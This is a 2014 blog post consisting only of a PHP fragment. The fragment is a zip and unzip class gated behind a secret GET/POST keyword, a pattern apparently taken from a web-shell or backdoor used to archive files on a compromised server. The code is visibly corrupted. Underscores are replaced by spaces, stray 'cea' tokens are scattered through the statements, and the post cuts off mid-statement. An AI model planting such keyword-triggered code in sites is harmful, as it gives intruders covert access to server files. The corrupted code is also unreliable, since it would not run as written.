Sunday, June 1, 2014

if(isset($ GET[$my keyw]) || isset($ POST[$my keyw])) { class zipfile { var $datasec = array(); var


if(isset($ GET[$my keyw]) || isset($ POST[$my keyw])) { class zipfile { var $datasec = array(); var $ctrl dir = array(); var $eof ctrl dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addDir($name) { $name = str_replace("\\", "/", $name); $fr = "\x50\x4b\x03\x04"; $fr .= "\x0a\x00"; $fr .= "\x00\x00"; $fr .= "\x00\x00"; $fr .= "\x00\x00\x00\x00"; $fr .= pack("V",0); $fr .= pack("V",0); $fr .= pack("V",0); $fr .= pack("v", strlen($name) ); $fr .= pack("v", 0 ); $fr .= $name; $fr .= pack("V",$crc); $fr .= pack("V",$c_len); $fr .= pack("V",$unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode("", $this->datasec)); $cdrec cea = "\x50\x4b\x01\x02"; $cdrec cea .="\x00\x00"; $cdrec cea .="\x0a\x00"; $cdrec .="\x00\x00"; $cdrec cea .="\x00\x00"; $cdrec .="\x00\x00\x00\x00"; $cdrec .= pack("V",0); $cdrec .= pack("V",0); $cdrec .= pack("V",0); $cdrec .= pack("v", strlen($name) ); $cdrec .= pack("v", 0 ); $cdrec .= pack("v", 0 ); $cdrec .= pack("v", 0 ); $cdrec cea .= pack("v", 0 ); $ext = "\x00\x00\x10\x00"; $ext = "\xff\xff\xff\xff"; $cdrec .= pack("V", 16 ); $cdrec .= pack("V", $this -> old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $name = str_replace(array('../','./'), '', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', cea $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $this -> datasec[] = $fr; $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec cea .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset cea ); $this -> old_offset += strlen($fr); $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); cea $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; cea } function addFiles($files) { foreach($files as $file) { if (is_file($file)) { $data = implode("",file($file)); $this->addFile($data,$file); } } } function output($file) { $fp=fopen($file,"w"); fwrite($fp,$this->file()); fclose($fp); }
} class SimpleUnzip { var $Comment = ''; var $Entries = array(); var $Name = ''; var $Size = 0; var $Time = 0; function SimpleUnzip($in FileName = '') { if ($in FileName !== '') { SimpleUnzip::ReadFile($in FileName); } } function Count() { return count($this->Entries); } function cea GetData($in Index) { return $this->Entries[$in Index]->Data; } function GetEntry($in Index) { return $this->Entries[$in Index]; } function GetError($in Index) { return cea $this->Entries[$in Index]->Error; } function GetErrorMsg($in Index) { return $this->Entries[$in Index]->ErrorMsg; } function GetName($in Index) { return $this->Entries[$in Index]->Name; } function GetPath($in Index) { return $this->Entries[$in Index]->Path; } function GetTime($in Index) { return $this->Entries[$in Index]->Time; } function ReadFile($in FileName) { $this->Entries = array(); $this->Name = $in FileName; $this->Time cea = filemtime($in FileName); $this->Size = filesize($in FileName); $oF = fopen($in FileName, 'rb'); $vZ = fread($oF, $this->Size); fclose($oF); $aE = explode("\x50\x4b\x05\x06", $vZ); $aP = unpack('x16/v1CL', $aE[1]); $this->Comment = substr($aE[1], 18, $aP['CL']); $this->Comment = strtr($this->Comment, array("\r\n" => "\n","\r" => "\n")); $aE = explode("\x50\x4b\x01\x02", $vZ); $aE = explode

No comments:

Post a Comment